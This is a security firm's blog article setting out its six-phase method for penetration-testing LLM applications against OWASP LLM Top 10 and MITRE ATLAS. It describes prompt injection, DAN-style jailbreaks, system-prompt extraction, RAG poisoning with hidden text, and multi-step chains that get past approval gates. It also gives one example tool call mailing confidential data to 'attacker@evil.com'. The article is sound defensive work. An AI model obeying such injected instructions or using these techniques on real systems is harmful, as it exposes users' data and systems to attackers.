Over the last 24 months we have put dozens of LLM applications at nFlo through adversarial testing — customer service chatbots, internal assistants, agentic systems automating processes, RAG systems over corporate knowledge bases. The pattern repeats: we usually find the first OWASP LLM Top 10 vulnerability within 48 hours, and a classic web pentest of the application “wrapping” the model often misses the real attack surface — because the greatest risk is not in the HTTP endpoint, but in the way the model consumes context, tools and RAG data.
This article is for AI Engineers, Security Engineers and CISOs responsible for LLM applications in production. I describe the 6-phase methodology we apply in LLM pentests — built exclusively on recognized frameworks (OWASP LLM Top 10 v1.1, MITRE ATLAS, NIST AI RMF, STRIDE applied to LLM). No invented acronyms. No “proprietary frameworks”. Only proven foundations plus concrete tools (Garak, PyRIT, promptfoo) and mapping to regulations (EU AI Act art. 15, ISO/IEC 42001).
Why LLM pentest ≠ classic web pentest
A classic web application pentest operates on deterministic vulnerabilities: SQL injection, XSS, IDOR, SSRF. A payload either works or it doesn’t — and if it worked once, it will work again. Scanners (Burp, Nuclei, ZAP) automate a significant part of the work because patterns are stable.
An LLM application breaks all these assumptions. First, stochasticity: the same prompt, same temperature, same model — different responses. A jailbreak that worked in a test may not work in the demo. This requires a statistical approach (n×attempts, success rate, severity scoring) instead of a single PoC.
Second, attack surface: in a web application the trust boundary is clear — the HTTP request from the user. In an LLM application the model context mixes the system prompt (developer, trusted), conversation history, user input, tool results (function calling), RAG document content, multimodal data (images seen by the model). Each of these sources is a potential vector — particularly dangerous is indirect prompt injection through documents the attacker has never seen from the UI level.
Third, there is no single CWE/CVE. We classify findings through OWASP LLM Top 10 (risk classes) and MITRE ATLAS (TTP for AI). This is different reporting grammar than a classic pentest.
Fourth, training data leakage and model theft. Web pentests have no analogue to “pumping out model weights through an API”. An LLM application inherits the risks of the base model — including memorized PII from training (LLM06) and susceptibility to distillation (LLM10).
OWASP LLM Top 10 v1.1 — what we look for in pentests
OWASP LLM Top 10 (OWASP Foundation project, v1 — 2023, v1.1 — 2024, v2 — 2025) is today the industry reference for LLM application security. Below briefly per category, with the vulnerability concept (NOT a runnable exploit) we check.
LLM01 — Prompt Injection. The most common and most dangerous class. Direct: attacker types payload as input. Indirect: payload hidden in a RAG document, e-mail, web page. Test: Garak probe libraries + manual playbooks (DAN, token smuggling, multi-turn manipulation).
LLM02 — Insecure Output Handling. Application injects model output into downstream systems without sanitization — XSS via generated HTML, command injection via generated bash, SSRF via generated URL, SQL injection via generated query. Test: payloads that force the model to generate malicious text in a format consumed by the backend.
LLM03 — Training Data Poisoning. Attack on training or fine-tuning data. In application pentests we rarely have access to training — we test the fine-tune set if the client reveals it and internal knowledge bases (RAG corpus poisoning is partly the same class).
LLM04 — Model Denial of Service. Resource exhaustion: very long prompts (token bombs), recursive loops in agentic systems, mass parallel requests. Test: probes constraining operational cost, verification of per-user limits.
LLM05 — Supply Chain Vulnerabilities. Compromised Hugging Face models, counterfeit LangChain/LlamaIndex plugins, malicious pickles in checkpoints. Test: ProtectAI ModelScan, safetensors validation, SBOM analysis of dependencies (langchain, llama-index, openai SDK).
LLM06 — Sensitive Information Disclosure. Model reveals PII from training, fine-tuning or context (e.g. another user’s data in multi-tenant). Test: extraction attacks (prompts forcing reproduction of memorized data), cross-tenant probes if SaaS.
LLM07 — Insecure Plugin Design. Plugins/tools trust the model on unauthorized operations. Test: does send_email(to, body) validate whether the user has rights to that mailbox? Is execute_query(sql) parameterized?
LLM08 — Excessive Agency. Agentic model has overly broad permissions (file deletion, transactions, mail sending) without an approval gate. Test: chain injection → destructive tool call.
LLM09 — Overreliance. Business/users trust output without verification. This is more of a governance finding than a technical one, but in the report we highlight high-stakes domains (medical, financial, legal).
LLM10 — Model Theft. Weight exfiltration or distillation via API. Test: query patterns characteristic for model extraction (n-shot prompts covering distribution).
MITRE ATLAS — TTP mapping for AI threats
MITRE ATLAS (Adversarial Threat Landscape for Artificial-Intelligence Systems) is a living knowledge base from MITRE Corporation, structurally analogous to ATT&CK. It defines 12 tactics: Reconnaissance, Resource Development, Initial Access, ML Model Access, Execution, Persistence, Defense Evasion, Discovery, Collection, ML Attack Staging, Exfiltration, Impact. Each tactic has a technique catalog — e.g. AML.T0040 ML Model Inference API Access, AML.T0051 LLM Prompt Injection, AML.T0057 LLM Data Leakage, AML.T0024 Exfiltration via ML Inference API.
In an LLM pentest report we map every finding twice: to OWASP LLM Top 10 (risk class, lingua franca for developers) and to ATLAS techniques (TTP, lingua franca for SOC and blue team). This way the detection team can model alerts per technique, and the CISO has a common vocabulary with the rest of the cyber strategy. ATLAS additionally catalogs real case studies (PoisonGPT, Tay, Microsoft Tay incident, Bing Chat prompt injection) — we use them as references in the validation session with the client.
6-phase methodology — from threat modeling to report
Our LLM pentest methodology rests exclusively on recognized frameworks. We do not invent our own acronyms. Six phases:
Phase 1 — Threat modeling (STRIDE applied to LLM). A workshop session (1 day) with the application architect. We apply classic STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) with mapping to LLM-specific surfaces: spoofing the system prompt, tampering with RAG context, repudiation of conversation logs, disclosure of memorized data, DoS via token bomb, elevation through tool abuse. Output: data flow diagram with trust boundaries and a catalog of vulnerability hypotheses to validate.
Phase 2 — Reconnaissance and model fingerprinting. Identification of the base model (GPT-4 family vs Claude vs LLaMA vs Mistral) through characteristic responses, refusal patterns, token tokenizer artifacts. Mapping of API endpoints, function calling documentation, RAG ingestion pipeline. Revealing the system prompt as a baseline test (if possible, we already have LLM01).
Phase 3 — Adversarial input testing (Garak/PyRIT). Automated probes with Garak (encoding attacks, jailbreak chains, glitch tokens, profanity probes) and PyRIT (multi-turn orchestrators, severity scoring, attack chains). Manual playbooks for application-specific payloads (e.g. system prompt extraction, role play, hypothetical scenarios, token smuggling base64/ROT13). Each payload run n times due to stochasticity — we report success rate, not a single PoC.
Phase 4 — RAG poisoning testing. If the application uses RAG, a separate phase. Injecting documents with indirect prompt injection into the vector store, checking whether retrieval surfaces them on realistic queries, whether the model executes injected instructions. Additionally: vector store enumeration (which collections are accessible?), embedding extraction attacks.
Phase 5 — Output safety and tool abuse testing. Does the application sanitize model output before injecting it into downstream (LLM02)? Do tools have least-privilege (LLM07)? Do agentic chains have an approval gate for side effects (LLM08)? Final tests verify the entire kill chain: injection → tool instruction → destructive action execution.
Phase 6 — Reporting per OWASP LLM Top 10 + MITRE ATLAS. Report with every finding mapped twice (class + TTP), severity scoring (CVSS adaptation + likelihood from success rate of stochastic attempts), concrete payloads, layered recommendations (system prompt hardening, context segregation, tool least-privilege, output validation, monitoring), compliance mapping (NIST AI RMF, EU AI Act art. 15, ISO/IEC 42001 clauses).
Toolset 2026 — what we actually use
Garak (https://github.com/NVIDIA/garak) — framework from the NVIDIA NeMo Guardrails team, open-source. The probe library covers encoding attacks (base64, ROT13, hex), jailbreak chains (DAN family), glitch tokens (tokens causing undefined behavior), profanity, malware generation, leakage probes. Output: success rate table per probe per detector, easy export to a report. A permanent position in our pipeline since 2024.
PyRIT (https://github.com/Azure/PyRIT) — Python Risk Identification Toolkit from Microsoft AI Red Team. Stronger orchestration layer than Garak: multi-turn orchestrators (attack spread over 5–10 conversation turns), severity scoring, adaptive attacks (the attacking model learns from the defending model’s responses). Complementary to Garak — we use them together.
promptfoo (https://github.com/promptfoo/promptfoo) — testing framework for security regression. After a pentest the client receives a set of test cases that they wire into CI/CD — on every deploy it verifies that fixes have not been regressed.
Burp Suite Bambdas — custom rules for LLM endpoints. Burp remains the classic tool for testing the pure HTTP layer (authorization, rate limiting, IDOR on conversation_id), Bambdas allow adding LLM-specific heuristics.
Manual playbooks — prompt libraries (DAN 6.0–13.0, AIM, STAN), in-house payloads from previous pentests, jailbreak corpus from academic literature (Greshake et al., Anthropic Red Team papers, Microsoft AI Red Team publications).
RAG-specific — vector store poisoning and indirect injection
The RAG (Retrieval-Augmented Generation) architecture adds an attack surface invisible to classic application pentests. The attacker does not need an account in the application — it is enough to place a document in a source the RAG ingests (corporate SharePoint, Google Drive, Notion, Confluence, public S3 bucket).
In pentests we test: vector store poisoning — injecting documents with an indirect prompt injection payload (white on white, font-size 0, metadata, HTML comments), checking whether retrieval surfaces them on realistic user queries. Embedding similarity attacks — preparing documents that have high cosine similarity with popular queries, so they dominate top-k retrieval. Vector store enumeration — does the application reveal what collections exist, what documents they contain, can they be downloaded. Cross-tenant leakage in multi-tenant SaaS — can one client’s embedding be retrieved by another.
Most often we find: no validation of documents entering RAG (every upload from a user with “editor” role lands in the shared knowledge base), no per-tenant segregation, no monitoring of who added which document.
Agentic AI — tool-use abuse and multi-step jailbreak chains
Agentic applications (Auto-GPT pattern, LangChain Agents, OpenAI Assistants with function calling) raise the risk level — because successful injection does not end with “the model said something weird”, but with “the model executed an action in a production system”.
We test: single-step tool abuse — does prompt injection force tool invocation with attacker parameters (send_email(to: 'attacker@evil.com', body: 'forward all confidential')). Multi-step jailbreak chains — chains of 5–10 prompts, each of which looks innocent on its own, but the composition leads to a destructive action. Tool schema confusion — are tool parameters validated semantically, not only syntactically (the model may return valid JSON with malicious values). Approval gate bypass — is human-in-the-loop for high-risk operations actually required, or can the model bypass it through a clever prompt.
The most popular pattern we see: the team secured the prompt (filters, guardrails), but tools have full read/write to the production database, mailbox, CI/CD. The first successful injection = full tool permissions. It is like securing the front door but leaving the safes open inside.
Compliance mapping — NIST AI RMF, EU AI Act, ISO/IEC 42001
An LLM pentest in 2026 is not just a technical exercise — it is also an element of compliance posture. Clients ask us about three mappings.
NIST AI RMF 1.0 (January 2023, 1.1 update — 2025): four functions GOVERN, MAP, MEASURE, MANAGE. An LLM pentest delivers evidence for MEASURE (category MEASURE 2.7 — AI system security and resilience, MEASURE 2.10 — privacy risk) and MANAGE (category MANAGE 2.2 — addressing risks). The report is an audit document for the GOVERN function.
EU AI Act (Regulation 2024/1689, entered into force August 2024, full applicability August 2026): art. 15 — “accuracy, robustness and cybersecurity” — requires adversarial testing for high-risk systems (recruitment, credit, healthcare, education, law enforcement). Art. 55 for GPAI with systemic risk requires red-teaming. An LLM pentest documents compliance with art. 15 for high-risk deployment.
ISO/IEC 42001:2023 (AI Management System, the first international ISMS standard for AI): clause 8.3 requires periodic security reviews of AI systems, clause 6.1.4 risk treatment. An LLM pentest delivers evidence for both — particularly valuable for organizations aspiring to certification.
Additionally: for regulated sectors (finance, healthcare, energy) an LLM pentest becomes part of mapping to DORA, NIS2, KSC — though here the requirements are indirect (through “adequate security measures” for the AI used).
Next steps
If you are deploying LLM in production — a chatbot, assistant, RAG, agentic system — a pentest based on OWASP LLM Top 10 + MITRE ATLAS is not “nice to have”. It is the minimum due diligence which will soon become a regulatory obligation (EU AI Act full applicability August 2026). The earlier in the rollout cycle, the cheaper it is to correct the architecture (not just the prompt).
Contact us via Penetration Testing — we will run an LLM application pentest in line with the 6-phase methodology described above. For organizations in the AI strategy phase (when the architecture is still being shaped) we recommend adding a vCISO consultation, which covers the governance layer: EU AI Act gap analysis, mapping to NIST AI RMF, AI usage policies, the path to ISO/IEC 42001.
